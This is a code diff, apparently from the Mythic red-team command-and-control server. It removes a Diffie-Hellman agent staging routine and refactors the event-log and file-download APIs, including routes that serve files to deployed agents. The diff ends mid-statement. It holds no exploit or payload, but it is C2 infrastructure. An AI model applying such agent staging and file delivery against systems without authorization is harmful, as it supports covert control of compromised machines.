@@ -80,186 +96,4 @@ async def staging_rsa(decrypted_message_json, UUID):
for k in decrypted_message_json:
if k not in ["session_id", "pub_key", "action", "delegates"]:
response[k] = decrypted_message_json[k]
- return response, stage_info
-
-
-async def staging_dh(decrypted_message_json, UUID):
- if (
- "session_id" not in decrypted_message_json
- or "pub_key" not in decrypted_message_json
- ):
- logger.exception(
- 'Failed to get "session_id" or "pub_key" from message in staging_dh'
- )
- return None, None
- # generate random AES256 key
- dh = DiffieHellman()
- # print(dh.publicKey)
- dh.genKey(decrypted_message_json["pub_key"])
- session_key_encoded = base64.b64encode(dh.getKey()).decode("utf-8")
- # print("created base64 encoded session key: " + session_key_encoded)
- # Save session_key and SESSIONID into database
- temp_uuid = str(uuid4())
- try:
- stage_info = await db_objects.create(
- StagingInfo,
- session_id=decrypted_message_json["session_id"],
- session_key=session_key_encoded,
- payload_uuid=UUID,
- staging_uuid=temp_uuid,
- )
- except Exception as e:
- logger.exception("Issue creating staging info for a new callback: " + str(e))
- return None, None
- # encrypt a nonce and the session_key_encoded with the message['PUB'] public key from the agent
- response = {
- "uuid": temp_uuid,
- "session_key": dh.publicKey,
- "action": "staging_dh",
- "session_id": decrypted_message_json["session_id"],
- }
- # print("created response: " + js.dumps(response))
- for k in decrypted_message_json:
- if k not in ["session_id", "pub_key", "action", "delegates"]:
- response[k] = decrypted_message_json[k]
- return response, stage_info
-
-
-""" Implements Diffie-Hellman as a standalone python file. Taken from Empire
-DH code from: https://github.com/lowazo/pyDHE """
-
-import os
-import hashlib
-
-# If a secure random number generator is unavailable, exit with an error.
-try:
- import ssl
-
- random_function = ssl.RAND_bytes
- random_provider = "Python SSL"
-except:
- random_function = os.urandom
- random_provider = "os.urandom"
-
-
-class DiffieHellman(object):
- """
- A reference implementation of the Diffie-Hellman protocol.
- By default, this class uses the 6144-bit MODP Group (Group 17) from RFC 3526.
- This prime is sufficient to generate an AES 256 key when used with
- a 540+ bit exponent.
- """
-
- def __init__(self, generator=2, group=17, keyLength=540):
- """
- Generate the public and private keys.
- """
- min_keyLength = 180
-
- default_generator = 2
- valid_generators = [2, 3, 5, 7]
-
- # Sanity check fors generator and keyLength
- if generator not in valid_generators:
- print("Error: Invalid generator. Using default.")
- self.generator = default_generator
- else:
- self.generator = generator
-
- if keyLength < min_keyLength:
- print("Error: keyLength is too small. Setting to minimum.")
- self.keyLength = min_keyLength
- else:
- self.keyLength = keyLength
-
- self.prime = self.getPrime(group)
-
- self.privateKey = self.genPrivateKey(keyLength)
- self.publicKey = self.genPublicKey()
-
- def getPrime(self, group=17):
- """
- Given a group number, return a prime.
- """
- default_group = 17
-
- primes = {
- 5: 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA237327FFFFFFFFFFFFFFFF,
- 14: 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AACAA68FFFFFFFFFFFFFFFF,
- 15: 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A93AD2CAFFFFFFFFFFFFFFFF,
- 16: 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A92108011A723C12A787E6D788719A10BDBA5B2699C327186AF4E23C1A946834B6150BDA2583E9CA2AD44CE8DBBBC2DB04DE8EF92E8EFC141FBECAA6287C59474E6BC05D99B2964FA090C3A2233BA186515BE7ED1F612970CEE2D7AFB81BDD762170481CD0069127D5B05AA993B4EA988D8FDDC186FFB7DC90A6C08F4DF435C934063199FFFFFFFFFFFFFFFF,
- 17: 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A92108011A723C12A787E6D788719A10BDBA5B2699C327186AF4E23C1A946834B6150BDA2583E9CA2AD44CE8DBBBC2DB04DE8EF92E8EFC141FBECAA6287C59474E6BC05D99B2964FA090C3A2233BA186515BE7ED1F612970CEE2D7AFB81BDD762170481CD0069127D5B05AA993B4EA988D8FDDC186FFB7DC90A6C08F4DF435C93402849236C3FAB4D27C7026C1D4DCB2602646DEC9751E763DBA37BDF8FF9406AD9E530EE5DB382F413001AEB06A53ED9027D831179727B0865A8918DA3EDBEBCF9B14ED44CE6CBACED4BB1BDB7F1447E6CC254B332051512BD7AF426FB8F401378CD2BF5983CA01C64B92ECF032EA15D1721D03F482D7CE6E74FEF6D55E702F46980C82B5A84031900B1C9E59E7C97FBEC7E8F323A97A7E36CC88BE0F1D45B7FF585AC54BD407B22B4154AACC8F6D7EBF48E1D814CC5ED20F8037E0A79715EEF29BE32806A1D58BB7C5DA76F550AA3D8A1FBFF0EB19CCB1A313D55CDA56C9EC2EF29632387FE8D76E3C0468043E8F663F4860EE12BF2D5B0B7474D6E694F91E6DCC4024FFFFFFFFFFFFFFFF,
- 18: 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A92108011A723C12A787E6D788719A10BDBA5B2699C327186AF4E23C1A946834B6150BDA2583E9CA2AD44CE8DBBBC2DB04DE8EF92E8EFC141FBECAA6287C59474E6BC05D99B2964FA090C3A2233BA186515BE7ED1F612970CEE2D7AFB81BDD762170481CD0069127D5B05AA993B4EA988D8FDDC186FFB7DC90A6C08F4DF435C93402849236C3FAB4D27C7026C1D4DCB2602646DEC9751E763DBA37BDF8FF9406AD9E530EE5DB382F413001AEB06A53ED9027D831179727B0865A8918DA3EDBEBCF9B14ED44CE6CBACED4BB1BDB7F1447E6CC254B332051512BD7AF426FB8F401378CD2BF5983CA01C64B92ECF032EA15D1721D03F482D7CE6E74FEF6D55E702F46980C82B5A84031900B1C9E59E7C97FBEC7E8F323A97A7E36CC88BE0F1D45B7FF585AC54BD407B22B4154AACC8F6D7EBF48E1D814CC5ED20F8037E0A79715EEF29BE32806A1D58BB7C5DA76F550AA3D8A1FBFF0EB19CCB1A313D55CDA56C9EC2EF29632387FE8D76E3C0468043E8F663F4860EE12BF2D5B0B7474D6E694F91E6DBE115974A3926F12FEE5E438777CB6A932DF8CD8BEC4D073B931BA3BC832B68D9DD300741FA7BF8AFC47ED2576F6936BA424663AAB639C5AE4F5683423B4742BF1C978238F16CBE39D652DE3FDB8BEFC848AD922222E04A4037C0713EB57A81A23F0C73473FC646CEA306B4BCBC8862F8385DDFA9D4B7FA2C087E879683303ED5BDD3A062B3CF5B3A278A66D2A13F83F44F82DDF310EE074AB6A364597E899A0255DC164F31CC50846851DF9AB48195DED7EA1B1D510BD7EE74D73FAF36BC31ECFA268359046F4EB879F924009438B481C6CD7889A002ED5EE382BC9190DA6FC026E479558E4475677E9AA9E3050E2765694DFC81F56E880B96E7160C980DD98EDD3DFFFFFFFFFFFFFFFFF,
- }
-
- if group in primes.keys():
- return primes[group]
- else:
- print("Error: No prime with group %i. Using default." % group)
- return primes[default_group]
-
- def genRandom(self, bits):
- """
- Generate a random number with the specified number of bits
- """
- _rand = 0
- _bytes = bits // 8 + 8
-
- while len(bin(_rand)) - 2 < bits:
-
- try:
- _rand = int.from_bytes(random_function(_bytes), byteorder="big")
- except:
- _rand = int(random_function(_bytes).encode("hex"), 16)
-
- return _rand
-
- def genPrivateKey(self, bits):
- """
- Generate a private key using a secure random number generator.
- """
- return self.genRandom(bits)
-
- def genPublicKey(self):
- """
- Generate a public key X with g**x % p.
- """
- return pow(self.generator, self.privateKey, self.prime)
-
- def checkPublicKey(self, otherKey):
- """
- Check the other party's public key to make sure it's valid.
- Since a safe prime is used, verify that the Legendre symbol == 1
- """
- if otherKey > 2 and otherKey < self.prime - 1:
- if pow(otherKey, (self.prime - 1) // 2, self.prime) == 1:
- return True
- return False
-
- def genSecret(self, privateKey, otherKey):
- """
- Check to make sure the public key is valid, then combine it with the
- private key to generate a shared secret.
- """
- if self.checkPublicKey(otherKey) is True:
- sharedSecret = pow(otherKey, privateKey, self.prime)
- return sharedSecret
- else:
- raise Exception("Invalid public key.")
-
- def genKey(self, otherKey):
- """
- Derive the shared secret, then hash it to obtain the shared key.
- """
- self.sharedSecret = self.genSecret(self.privateKey, otherKey)
- # print("Shared secret:")
- # print(self.sharedSecret)
- s = hashlib.sha256()
- s.update(bytes(str(self.sharedSecret).encode()))
- self.key = s.digest()
-
- def getKey(self):
- """
- Return the shared secret key
- """
- return self.key
+ return response, stage_info
\ No newline at end of file
diff --git a/mythic-docker/app/api/event_message_api.py b/mythic-docker/app/api/event_message_api.py
index 3b2a99b7d..4e674521d 100755
--- a/mythic-docker/app/api/event_message_api.py
+++ b/mythic-docker/app/api/event_message_api.py
@@ -1,22 +1,22 @@
-from app import mythic, db_objects
+from app import mythic
+import app
from sanic.response import json
from sanic_jwt.decorators import scoped, inject_user
import app.database_models.model as db_model
from sanic.exceptions import abort
from math import ceil
-from peewee import fn
from app.api.siem_logger import log_to_siem
+import uuid
+import asyncio
+from sanic.log import logger
+import sys
async def get_old_event_alerts(user):
try:
- # query = await db_model.operator_query()
- # operator = await db_objects.get(query, username=user['username'])
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
- event_query = await db_model.operationeventlog_query()
- alerts = await db_objects.execute(
- event_query.where(
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
+ alerts = await app.db_objects.execute(
+ db_model.operationeventlog_query.where(
(db_model.OperationEventLog.operation == operation)
& (db_model.OperationEventLog.deleted == False)
& (db_model.OperationEventLog.level != "info")
@@ -41,11 +41,9 @@ async def get_event_message(request, user):
message="Cannot access via Cookies. Use CLI or access via JS in browser",
)
try:
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
- event_query = await db_model.operationeventlog_query()
- alerts = await db_objects.execute(
- event_query.where(
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
+ alerts = await app.db_objects.execute(
+ db_model.operationeventlog_query.where(
(db_model.OperationEventLog.operation == operation)
& (db_model.OperationEventLog.deleted == False)
)
@@ -55,7 +53,57 @@ async def get_event_message(request, user):
total_alerts.append(a.to_json())
return json({"status": "success", "alerts": total_alerts})
except Exception as e:
- print(str(e))
+ logger.warning("event_message_api.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
+ return json({"status": "error", "error": str(e)})
+
+
+@mythic.route(mythic.config["API_BASE"] + "/event_message/batch_fetch", methods=["POST"])
+@inject_user()
+@scoped(["auth:user", "auth:apitoken_user"], False)
+async def get_event_message_batch(request, user):
+ if user["auth"] not in ["access_token", "apitoken"]:
+ abort(
+ status_code=403,
+ message="Cannot access via Cookies. Use CLI or access via JS in browser",
+ )
+ try:
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
+ data = request.json
+ if "get_next_unresolved_error" in data and data["get_next_unresolved_error"]:
+ # find the next error
+ alerts = await app.db_objects.execute(
+ db_model.operationeventlog_query.where(
+ (db_model.OperationEventLog.operation == operation)
+ & (db_model.OperationEventLog.deleted == False)
+ & (db_model.OperationEventLog.id < data["last_event_id"])
+ & (db_model.OperationEventLog.level == "warning")
+ & (db_model.OperationEventLog.resolved == False)
+ ).order_by(-db_model.OperationEventLog.id).limit(data["limit"])
+ )
+ elif "get_next_error" in data and data["get_next_error"]:
+ alerts = await app.db_objects.execute(
+ db_model.operationeventlog_query.where(
+ (db_model.OperationEventLog.operation == operation)
+ & (db_model.OperationEventLog.deleted == False)
+ & (db_model.OperationEventLog.id < data["last_event_id"])
+ & (db_model.OperationEventLog.level == "warning")
+ ).order_by(-db_model.OperationEventLog.id).limit(data["limit"])
+ )
+ else:
+ # we're just fetching the next data["limit"] events since the data["last_event_id"]
+ alerts = await app.db_objects.execute(
+ db_model.operationeventlog_query.where(
+ (db_model.OperationEventLog.operation == operation)
+ & (db_model.OperationEventLog.deleted == False)
+ & (db_model.OperationEventLog.id < data["last_event_id"])
+ ).order_by(-db_model.OperationEventLog.id).limit(data["limit"])
+ )
+ total_alerts = []
+ for a in alerts:
+ total_alerts.append(a.to_json())
+ return json({"status": "success", "alerts": total_alerts})
+ except Exception as e:
+ logger.warning("event_message_api.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
return json({"status": "error", "error": str(e)})
@@ -71,10 +119,8 @@ async def add_event_message(request, user):
if user["view_mode"] == "spectator":
return json({"status": "error", "error": "Spectators cannot send messages"})
try:
- query = await db_model.operator_query()
- operator = await db_objects.get(query, username=user["username"])
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
+ operator = await app.db_objects.get(db_model.operator_query, username=user["username"])
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
data = request.json
if "message" not in data:
return json({"status": "error", "error": "message is required"})
@@ -82,16 +128,18 @@ async def add_event_message(request, user):
data["level"] = "info"
if data["level"] not in ["info", "warning"]:
return json({"status": "error", "error": "level not recognized"})
- msg = await db_objects.create(
+ msg = await app.db_objects.create(
db_model.OperationEventLog,
operator=operator,
operation=operation,
- message=data["message"].encode('unicode-escape'),
+ message=data["message"],
level=data["level"],
+ source=str(uuid.uuid4())
)
- await log_to_siem(msg.to_json(), mythic_object="eventlog_new")
+ asyncio.create_task(log_to_siem(mythic_object=msg, mythic_source="eventlog_new"))
return json({"status": "success", **msg.to_json()})
except Exception as e:
+ logger.warning("event_message_api.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
return json({"status": "error", "error": str(e)})
@@ -107,13 +155,10 @@ async def edit_event_message(request, user, eid):
if user["view_mode"] == "spectator":
return json({"status": "error", "error": "Spectators cannot edit messages"})
try:
- query = await db_model.operator_query()
- operator = await db_objects.get(query, username=user["username"])
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
+ operator = await app.db_objects.get(db_model.operator_query, username=user["username"])
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
data = request.json
- query = await db_model.operationeventlog_query()
- msg = await db_objects.get(query, id=eid, operation=operation)
+ msg = await app.db_objects.get(db_model.operationeventlog_query, id=eid, operation=operation)
if "message" not in data and "resolved" not in data:
return json(
{"status": "error", "error": "message or resolve status is required"}
@@ -127,16 +172,16 @@ async def edit_event_message(request, user, eid):
if "resolved" in data:
msg.resolved = data["resolved"]
if "message" in data:
- msg.message = data["message"].encode('unicode-escape')
+ msg.message = data["message"]
if "level" in data and data["level"] in ["info", "warning"]:
msg.level = data["level"]
- await log_to_siem(msg.to_json(), mythic_object="eventlog_modified")
- await db_objects.update(msg)
+ asyncio.create_task(log_to_siem(mythic_object=msg, mythic_source="eventlog_modified"))
+ await app.db_objects.update(msg)
else:
if "resolved" in data and data["resolved"] != msg.resolved:
msg.resolved = data["resolved"]
- await db_objects.update(msg)
- await log_to_siem(msg.to_json(), mythic_object="eventlog_modified")
+ await app.db_objects.update(msg)
+ asyncio.create_task(log_to_siem(mythic_object=msg, mythic_source="eventlog_modified"))
else:
return json(
{
@@ -147,6 +192,7 @@ async def edit_event_message(request, user, eid):
return json({"status": "success", **msg.to_json()})
except Exception as e:
+ logger.warning("event_message_api.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
return json({"status": "error", "error": str(e)})
@@ -162,24 +208,21 @@ async def remove_event_messagse(request, user):
if user["view_mode"] == "spectator":
return json({"status": "error", "error": "Spectators cannot remove messages"})
try:
- query = await db_model.operator_query()
- operator = await db_objects.get(query, username=user["username"])
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
+ operator = await app.db_objects.get(db_model.operator_query, username=user["username"])
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
data = request.json
- query = await db_model.operationeventlog_query()
not_authorized = False
for e in data["messages"]:
# given an array of message ids to delete, try to delete them all
- msg = await db_objects.get(query, id=e, operation=operation)
+ msg = await app.db_objects.get(db_model.operationeventlog_query, id=e, operation=operation)
if (
user["admin"]
or msg.operator == operator
or operation.name in user["admin_operations"]
):
msg.deleted = True
- await log_to_siem(msg.to_json(), mythic_object="eventlog_modified")
- await db_objects.update(msg)
+ asyncio.create_task(log_to_siem(mythic_object=msg, mythic_source="eventlog_modified"))
+ await app.db_objects.update(msg)
else:
not_authorized = True
if not_authorized:
@@ -192,6 +235,7 @@ async def remove_event_messagse(request, user):
else:
return json({"status": "success"})
except Exception as e:
+ logger.warning("event_message_api.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
return json({"status": "error", "error": str(e)})
@@ -207,9 +251,7 @@ async def search_event_message(request, user):
message="Cannot access via Cookies. Use CLI or access via JS in browser",
)
try:
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
- query = await db_model.operationeventlog_query()
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
except Exception as e:
return json(
{
@@ -219,11 +261,11 @@ async def search_event_message(request, user):
)
try:
data = request.json
- count = await db_objects.count(
- query.where(
+ count = await app.db_objects.count(
+ db_model.operationeventlog_query.where(
(db_model.OperationEventLog.operation == operation)
& (
- fn.encode(db_model.OperationEventLog.message, "escape").regexp(
+ db_model.OperationEventLog.message.regexp(
data["search"]
)
)
@@ -231,11 +273,11 @@ async def search_event_message(request, user):
)
if "page" not in data:
# allow a blanket search to still be performed
- responses = await db_objects.execute(
- query.where(
+ responses = await app.db_objects.execute(
+ db_model.operationeventlog_query.where(
(db_model.OperationEventLog.operation == operation)
& (
- fn.encode(db_model.OperationEventLog.message, "escape").regexp(
+ db_model.OperationEventLog.message.regexp(
data["search"]
)
)
@@ -262,11 +304,11 @@ async def search_event_message(request, user):
data["page"] = ceil(count / data["size"])
if data["page"] == 0:
data["page"] = 1
- responses = await db_objects.execute(
- query.where(
+ responses = await app.db_objects.execute(
+ db_model.operationeventlog_query.where(
(db_model.OperationEventLog.operation == operation)
& (
- fn.encode(db_model.OperationEventLog.message, "escape").regexp(
+ db_model.OperationEventLog.message.regexp(
data["search"]
)
)
@@ -288,5 +330,5 @@ async def search_event_message(request, user):
}
)
except Exception as e:
- print(e)
+ logger.warning("event_message_api.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
return json({"status": "error", "error": str(e)})
diff --git a/mythic-docker/app/api/file_api.py b/mythic-docker/app/api/file_api.py
index 6f28abb8e..a6bc2cca4 100755
--- a/mythic-docker/app/api/file_api.py
+++ b/mythic-docker/app/api/file_api.py
@@ -1,6 +1,7 @@
-from app import mythic, db_objects
+from app import mythic
+import app
from app.database_models.model import FileMeta, Callback, Task, Command
-from sanic.response import json, file
+from sanic.response import json, file_stream
import base64
from sanic_jwt.decorators import scoped, inject_user
import os
@@ -17,6 +18,7 @@
from app.api.siem_logger import log_to_siem
from app.api.operation_api import send_all_operations_message
from app.api.file_browser_api import add_upload_file_to_file_browser
+import asyncio
@mythic.route(mythic.config["API_BASE"] + "/files", methods=["GET"])
@@ -31,9 +33,8 @@ async def get_all_files_meta(request, user):
message="Cannot access via Cookies. Use CLI or access via JS in browser",
)
try:
- query = await db_model.filemeta_query()
- files = await db_objects.prefetch(
- query, Task.select(), Command.select(), Callback.select()
+ files = await app.db_objects.prefetch(
+ db_model.filemeta_query, Task.select(), Command.select(), Callback.select()
)
except Exception as e:
return json({"status": "error", "error": "failed to get files"})
@@ -53,11 +54,9 @@ async def get_current_operations_files_meta(request, user):
)
if user["current_operation"] != "":
try:
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
- query = await db_model.filemeta_query()
- files = await db_objects.execute(
- query.where(
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
+ files = await app.db_objects.execute(
+ db_model.filemeta_query.where(
(FileMeta.operation == operation)
& (FileMeta.is_screenshot == False)
& (FileMeta.is_payload == False)
@@ -71,28 +70,61 @@ async def get_current_operations_files_meta(request, user):
@mythic.route(
- mythic.config["API_BASE"] + "/files/download/", methods=["GET"]
+ mythic.config["API_BASE"] + "/files/download/", methods=["GET"]
)
-async def download_file(request, id):
+async def download_file(request, fid):
try:
- query = await db_model.filemeta_query()
- file_meta = await db_objects.get(query, agent_file_id=id)
+ file_meta = await app.db_objects.get(db_model.filemeta_query, agent_file_id=fid)
except Exception as e:
- print(e)
- await send_all_operations_message(level="warning",
- message=f"Attempt to download file ID {id} through, but file not known.\nMetadata: From {request.socket} with headers: {request.headers}\nURL: {request.url}")
+ request_ip = request.headers['x-forwarded-for'] if 'x-forwarded-for' in request.headers else request.ip
+ request_ip = request.headers['x-real-ip'] if 'x-real-ip' in request.headers else request_ip
+ asyncio.create_task(send_all_operations_message(level="warning", source="download_file",
+ message=f"Attempt to download file ID {fid}, but file not known.\nMetadata: Connection from {request_ip}"))
return json({"status": "error", "error": "file not found"})
# now that we have the file metadata, get the file if it's done downloading
if not file_meta.deleted:
try:
- return await file(file_meta.path, filename=file_meta.filename)
+ return await file_stream(file_meta.path, filename=bytes(file_meta.filename).decode('utf-8'))
except Exception as e:
- print("File not found")
+ logger.warning("file_api.py - " + "File not found: {}".format(str(e)))
return json(
{"status": "error", "error": "File doesn't exist on disk"}, status=404
)
else:
- print("File was deleted")
+ logger.warning("file_api.py - File was deleted")
+ return json(
+ {
+ "status": "error",
+ "error": "File deleted or not finished uploading to server",
+ },
+ status=404,
+ )
+
+
+@mythic.route(
+ "/direct/download/", methods=["GET"]
+)
+async def download_file_direct(request, fid: str):
+ try:
+ file_meta = await app.db_objects.get(db_model.filemeta_query, agent_file_id=fid)
+ except Exception as e:
+ request_ip = request.headers['x-forwarded-for'] if 'x-forwarded-for' in request.headers else request.ip
+ request_ip = request.headers['x-real-ip'] if 'x-real-ip' in request.headers else request_ip
+ logger.warning("file_api.py - Failed to find file for direct download: " + str(e))
+ asyncio.create_task(send_all_operations_message(level="warning", source="download_file_direct",
+ message=f"Attempt to download file ID {fid} through, but file not known.\nMetadata: Connection from {request_ip}"))
+ return json({"status": "error", "error": "file not found"})
+ # now that we have the file metadata, get the file if it's done downloading
+ if not file_meta.deleted:
+ try:
+ return await file_stream(file_meta.path, filename=bytes(file_meta.filename).decode("utf-8"))
+ except Exception as e:
+ logger.warning("file_api.py - File not found in direct download: {}".format(str(e)))
+ return json(
+ {"status": "error", "error": "File doesn't exist on disk"}, status=404
+ )
+ else:
+ logger.warning("file_api.py - File was deleted in direct download")
return json(
{
"status": "error",
@@ -103,9 +135,16 @@ async def download_file(request, id):
# this is the function for the 'upload' action of file from Mythic to agent
-async def download_agent_file(data, cid):
+async def download_agent_file(data, in_response: bool = False, task_id: str = None):
+ response_data = {}
if "task_id" not in data:
+ data["task_id"] = task_id
+ for k in data:
+ if k not in ["action", "total_chunks", "chunk_num", "chunk_data", "file_id", "task_id", "full_path"]:
+ response_data[k] = data[k]
+ if "task_id" not in data and not in_response:
return {
+ **response_data,
"action": "upload",
"total_chunks": 0,
"chunk_num": 0,
@@ -114,29 +153,36 @@ async def download_agent_file(data, cid):
"task_id": "",
}
try:
- query = await db_model.filemeta_query()
- file_meta = await db_objects.get(query, agent_file_id=data["file_id"])
+ file_meta = await app.db_objects.get(db_model.filemeta_query, agent_file_id=data["file_id"])
except Exception as e:
- return {
- "action": "upload",
- "total_chunks": 0,
- "chunk_num": 0,
- "chunk_data": "",
- "file_id": "",
- "task_id": data["task_id"],
- }
+ logger.warning("file_api.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
+ if app.debugging_enabled:
+ await send_all_operations_message(
+ message=f"action 'Upload', failed to find file_id of {data['file_id']}",
+ level="info", source="debug")
+ if not in_response:
+ return {
+ **response_data,
+ "action": "upload",
+ "total_chunks": 0,
+ "chunk_num": 0,
+ "chunk_data": "",
+ "file_id": "",
+ "task_id": data["task_id"],
+ }
+ else:
+ return {"status": "error", "error": "Failed to find that FileID"}
# now that we have the file metadata, get the file if it's done downloading
if (
"full_path" in data
and data["full_path"] is not None
and data["full_path"] != ""
):
- query = await db_model.task_query()
- task = await db_objects.get(query, agent_task_id=data["task_id"])
+ task = await app.db_objects.get(db_model.task_query, agent_task_id=data["task_id"])
if file_meta.task is None or file_meta.task != task:
# this means the file was hosted on the mythic server and is being pulled down by an agent
# or means that another task is pulling down a file that was generated from a different task
- fm = await db_objects.create(
+ fm = await app.db_objects.create(
db_model.FileMeta,
task=task,
total_chunks=file_meta.total_chunks,
@@ -144,42 +190,44 @@ async def download_agent_file(data, cid):
chunk_size=file_meta.chunk_size,
complete=file_meta.complete,
path=file_meta.path,
- full_remote_path=data["full_path"],
+ full_remote_path=data["full_path"].encode("utf-8"),
operation=task.callback.operation,
md5=file_meta.md5,
sha1=file_meta.sha1,
delete_after_fetch=False,
deleted=False,
operator=task.operator,
- host=file_meta.host,
+ host=file_meta.host.upper(),
)
- await add_upload_file_to_file_browser(fm.operation, fm.task, fm,
+ asyncio.create_task(add_upload_file_to_file_browser(fm.operation, fm.task, fm,
{"host": fm.host,
- "full_path": fm.full_remote_path})
+ "full_path": bytes(fm.full_remote_path).decode("utf-8")}))
else:
# this file_meta is already associated with a task, check if it's the same
if file_meta.full_remote_path is None or file_meta.full_remote_path == "":
- file_meta.full_remote_path = data["full_path"]
- query = await db_model.filebrowserobj_query()
+ file_meta.full_remote_path = data["full_path"].encode("utf-8")
try:
- fb_object = await db_objects.get(
- query,
